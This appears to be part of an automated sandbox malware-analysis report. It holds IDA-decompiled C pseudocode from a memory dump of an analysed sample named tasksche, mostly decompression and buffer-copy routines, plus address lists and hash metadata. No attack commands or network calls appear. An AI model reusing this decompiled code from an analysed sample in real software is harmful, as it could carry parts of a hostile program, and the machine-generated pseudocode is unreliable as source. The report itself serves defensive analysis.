													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d85
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
